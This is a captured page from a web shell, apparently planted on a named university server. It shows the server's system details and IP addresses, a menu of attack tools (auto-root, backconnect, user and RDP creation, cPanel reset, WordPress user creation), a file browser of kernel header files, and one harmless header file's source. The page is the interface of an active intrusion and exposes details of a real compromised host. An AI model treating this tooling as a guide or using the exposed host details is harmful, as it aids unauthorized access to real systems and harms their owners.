Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.145.143.57
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-5.4.0-204 /
include /
media /
[ HOME SHELL ]
Name
Size
Permission
Action
davinci
[ DIR ]
drwxr-xr-x
drv-intf
[ DIR ]
drwxr-xr-x
i2c
[ DIR ]
drwxr-xr-x
tpg
[ DIR ]
drwxr-xr-x
cec-notifier.h
6.4
KB
-rw-r--r--
cec-pin.h
2.64
KB
-rw-r--r--
cec.h
14.41
KB
-rw-r--r--
demux.h
22.69
KB
-rw-r--r--
dmxdev.h
5.89
KB
-rw-r--r--
dvb-usb-ids.h
17.86
KB
-rw-r--r--
dvb_ca_en50221.h
4.35
KB
-rw-r--r--
dvb_demux.h
10.77
KB
-rw-r--r--
dvb_frontend.h
30.03
KB
-rw-r--r--
dvb_math.h
1.77
KB
-rw-r--r--
dvb_net.h
2.52
KB
-rw-r--r--
dvb_ringbuffer.h
8.32
KB
-rw-r--r--
dvb_vb2.h
7.65
KB
-rw-r--r--
dvbdev.h
14.51
KB
-rw-r--r--
fwht-ctrls.h
680
B
-rw-r--r--
h264-ctrls.h
6.41
KB
-rw-r--r--
imx.h
190
B
-rw-r--r--
media-dev-allocator.h
2.21
KB
-rw-r--r--
media-device.h
17
KB
-rw-r--r--
media-devnode.h
5.29
KB
-rw-r--r--
media-entity.h
35.23
KB
-rw-r--r--
media-request.h
11.96
KB
-rw-r--r--
mpeg2-ctrls.h
2.26
KB
-rw-r--r--
rc-core.h
12.33
KB
-rw-r--r--
rc-map.h
12.75
KB
-rw-r--r--
rcar-fcp.h
1.1
KB
-rw-r--r--
soc_camera.h
12.85
KB
-rw-r--r--
tuner-types.h
7.54
KB
-rw-r--r--
tuner.h
8.4
KB
-rw-r--r--
tveeprom.h
3.29
KB
-rw-r--r--
v4l2-async.h
11.52
KB
-rw-r--r--
v4l2-clk.h
1.95
KB
-rw-r--r--
v4l2-common.h
15.5
KB
-rw-r--r--
v4l2-ctrls.h
44.86
KB
-rw-r--r--
v4l2-dev.h
16.21
KB
-rw-r--r--
v4l2-device.h
17.35
KB
-rw-r--r--
v4l2-dv-timings.h
9.08
KB
-rw-r--r--
v4l2-event.h
5.79
KB
-rw-r--r--
v4l2-fh.h
4.26
KB
-rw-r--r--
v4l2-flash-led-class.h
5.75
KB
-rw-r--r--
v4l2-fwnode.h
16.05
KB
-rw-r--r--
v4l2-image-sizes.h
718
B
-rw-r--r--
v4l2-ioctl.h
31.44
KB
-rw-r--r--
v4l2-mc.h
5
KB
-rw-r--r--
v4l2-mediabus.h
6.33
KB
-rw-r--r--
v4l2-mem2mem.h
22.17
KB
-rw-r--r--
v4l2-rect.h
5.28
KB
-rw-r--r--
v4l2-subdev.h
41.43
KB
-rw-r--r--
videobuf-core.h
6.81
KB
-rw-r--r--
videobuf-dma-contig.h
909
B
-rw-r--r--
videobuf-dma-sg.h
2.78
KB
-rw-r--r--
videobuf-vmalloc.h
1.14
KB
-rw-r--r--
videobuf2-core.h
46.94
KB
-rw-r--r--
videobuf2-dma-contig.h
866
B
-rw-r--r--
videobuf2-dma-sg.h
698
B
-rw-r--r--
videobuf2-dvb.h
1.82
KB
-rw-r--r--
videobuf2-memops.h
1.08
KB
-rw-r--r--
videobuf2-v4l2.h
11.83
KB
-rw-r--r--
videobuf2-vmalloc.h
509
B
-rw-r--r--
vp8-ctrls.h
2.67
KB
-rw-r--r--
vsp1.h
3.57
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : videobuf-dma-sg.h
/* SPDX-License-Identifier: GPL-2.0-only */ /* * helper functions for SG DMA video4linux capture buffers * * The functions expect the hardware being able to scatter gather * (i.e. the buffers are not linear in physical memory, but fragmented * into PAGE_SIZE chunks). They also assume the driver does not need * to touch the video data. * * (c) 2007 Mauro Carvalho Chehab, <mchehab@kernel.org> * * Highly based on video-buf written originally by: * (c) 2001,02 Gerd Knorr <kraxel@bytesex.org> * (c) 2006 Mauro Carvalho Chehab, <mchehab@kernel.org> * (c) 2006 Ted Walther and John Sokol */ #ifndef _VIDEOBUF_DMA_SG_H #define _VIDEOBUF_DMA_SG_H #include <media/videobuf-core.h> /* --------------------------------------------------------------------- */ /* * A small set of helper functions to manage buffers (both userland * and kernel) for DMA. * * videobuf_dma_init_*() * creates a buffer. The userland version takes a userspace * pointer + length. The kernel version just wants the size and * does memory allocation too using vmalloc_32(). * * videobuf_dma_*() * see Documentation/DMA-API-HOWTO.txt, these functions to * basically the same. The map function does also build a * scatterlist for the buffer (and unmap frees it ...) * * videobuf_dma_free() * no comment ... * */ struct videobuf_dmabuf { u32 magic; /* for userland buffer */ int offset; size_t size; struct page **pages; /* for kernel buffers */ void *vaddr; struct page **vaddr_pages; dma_addr_t *dma_addr; struct device *dev; /* for overlay buffers (pci-pci dma) */ dma_addr_t bus_addr; /* common */ struct scatterlist *sglist; int sglen; int nr_pages; int direction; }; struct videobuf_dma_sg_memory { u32 magic; /* for mmap'ed buffers */ struct videobuf_dmabuf dma; }; /* * Scatter-gather DMA buffer API. * * These functions provide a simple way to create a page list and a * scatter-gather list from a kernel, userspace of physical address and map the * memory for DMA operation. * * Despite the name, this is totally unrelated to videobuf, except that * videobuf-dma-sg uses the same API internally. */ int videobuf_dma_free(struct videobuf_dmabuf *dma); int videobuf_dma_unmap(struct device *dev, struct videobuf_dmabuf *dma); struct videobuf_dmabuf *videobuf_to_dma(struct videobuf_buffer *buf); void *videobuf_sg_alloc(size_t size); void videobuf_queue_sg_init(struct videobuf_queue *q, const struct videobuf_queue_ops *ops, struct device *dev, spinlock_t *irqlock, enum v4l2_buf_type type, enum v4l2_field field, unsigned int msize, void *priv, struct mutex *ext_lock); #endif /* _VIDEOBUF_DMA_SG_H */
Close